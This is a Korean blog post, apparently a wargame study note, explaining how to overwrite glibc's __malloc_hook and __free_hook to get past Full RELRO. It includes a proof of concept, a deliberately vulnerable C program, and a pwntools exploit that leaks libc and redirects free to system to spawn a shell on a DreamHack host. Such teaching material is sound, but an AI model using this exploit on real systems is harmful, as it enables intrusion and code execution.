Hook에는 갈고리라는 뜻이 있다.
이런 의미를 담아 컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려 할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것을 Hooking(후킹)이라고 부르며, 이때 실행되는 코드를 Hook(훅)이라고 부른다.
후킹은 굉장히 다양한 용도로 사용됩니다. 함수에 훅을 심어서 함수의 호출을 모니터링 하거나, 함수에 기능을 추가할 수도 있고, 아니면 아예 다른 코드를 심어서 실행 흐름을 변조할 수도 있다.
예를 들어, malloc과 free에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링할 수 있다.
이를 더욱 응용하면 모든 함수의 도입 부분에 모니터링 함수를 훅으로 설치하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing)할 수도 있다.
이러한 모니터링 기능은 해커에 의해 악용될 수도 있다.
해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면, 사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하다.
malloc과 free 함수를 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게 하는 실습을 할 것이다. Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로, Full RELRO를 우회하는 기법으로 활용될 수 있다.
1. malloc, free, realloc hook
C언어에서 메모리의 동적 할당과 해제를 담당하는 함수로는 malloc, free, realloc이 대표적이다.
각 함수는 libc.so에 구현되어 있다.
libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있다.
예를 들어, malloc 함수는 __malloc_hook 변수의 값이 NULL이 아닌지 검사하고, 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행한다. 이때, malloc의 인자는 훅 함수에 전달된다. 같은 방식으로 free, realloc도 각각 __free_hook, __realloc_hook이라는 훅 변수를 사용한다.
__malloc_hook, __free_hook, __realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의되어 있다.
섹션 헤더 정보를 참조하면 이들은 libc.so의 bss 섹션에 포함됨을 알 수 있다.
bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있습니다.
2. Hook Overwrite
malloc, free, realloc에는 각각에 대응되는 훅 변수가 존재하며, 앞서 설명한 바와 같이 이들은 libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다.
또한, 훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해 주기 때문에 __malloc_hook을 system 함수의 주소로 덮고, malloc(“/bin/sh”)을 호출하여 셸을 획득하는 등의 공격이 가능하다.
// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
printf("\"__free_hook\" now points at \"system\"\n");
__free_hook = (void *)system;
printf("call free(\"/bin/sh\")\n");
free(buf);
}
위 코드를 컴파일하고 실행하면, __free_hook을 system 함수로 덮고, free(“/bin/sh”)를 호출하자 셸이 획득되는 것을 확인할 수 있다.
3. Free Hook Overwrite
free 함수의 훅을 덮는 공격을 실습해 볼 것이다. 아래는 실습에 사용할 코드이다.
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
위 코드를 컴파일하고 checksec을 사용하면 아래와같이 나온다.
위 코드를 분석해보면 [1]에서 매우 큰 스텍 버퍼 오버플로우가 발생한다. 하지만 이는 카나리를 덮을 수도 없고 리턴주소도 조작할 수 없다. 이는 스택에 있는 데이터를 읽는데 쓸 수 있다.
[2]에서는 주소를 입력하고 그 주소에 임의의 값을 쓸 수 있다.
[3]에서는 주소를 입력하고 그 메모리를 해제할 수 있다.
공격자는 세가지 수단을 이용하여 셸을 획득할 수 있다.
[1]스택의 어떤 값을 읽을 수 있다.
[2]임의 주소에 임의 값을 쓸 수 있다.
[3]임의 주소를 해제할 수 있다.
3.1 라이브러리의 변수 및 함수들의 주소 구하기
__free_hook, system 함수, “/bin/sh” 문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so안의 주소를 구해야 이들의 주소를 계산할 수 있다.
[1]을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다.
특히, main 함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있다.
아래코드가 그에대한 익스플로잇 코드이다.
#!/usr/bin/python3
# Name: fho.py
from pwn import *
p = remote("host3.dreamhack.games","14931")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2) # libc_start_main 주소 저장
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231) # libc_start_main에서 libc 맵핑 주소 빼서 오프셋구하기
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
3.2. 셸 획득
[2]에서 __free_hook의 값을 system 함수의 주소로 덮어쓰고, [3]에서 “/bin/sh”를 해제하게 하면 system(“/bin/sh”)가 호출되어 셸을 획득할 수 있다
# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook)) #free_hook의 주소 전송
p.recvuntil("With: ")
p.sendline(str(system)) #인자로 system 전송
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh)) #binsh free 시키기
p.interactive()
4. one_gadget
one_gadget을 이용하면 셸을 획득할 수 있다.
이 중 하나를 골라서 사용할 수 있다.
'보안 > 시스템 해킹' 카테고리의 다른 글
[ 시스템 해킹 ] Memory Corruption : Out of Bounds (0) | 2022.08.04 |
---|---|
[ 시스템 해킹 ] DreamHack WarGame : oneshot (0) | 2022.08.04 |
[ 시스템 해킹 ] Background : PIE (0) | 2022.08.04 |
[ 시스템 해킹 ] Background : RELRO (0) | 2022.08.04 |
[ 시스템 해킹 ] DreamHack WarGame : Return to Library (0) | 2022.07.28 |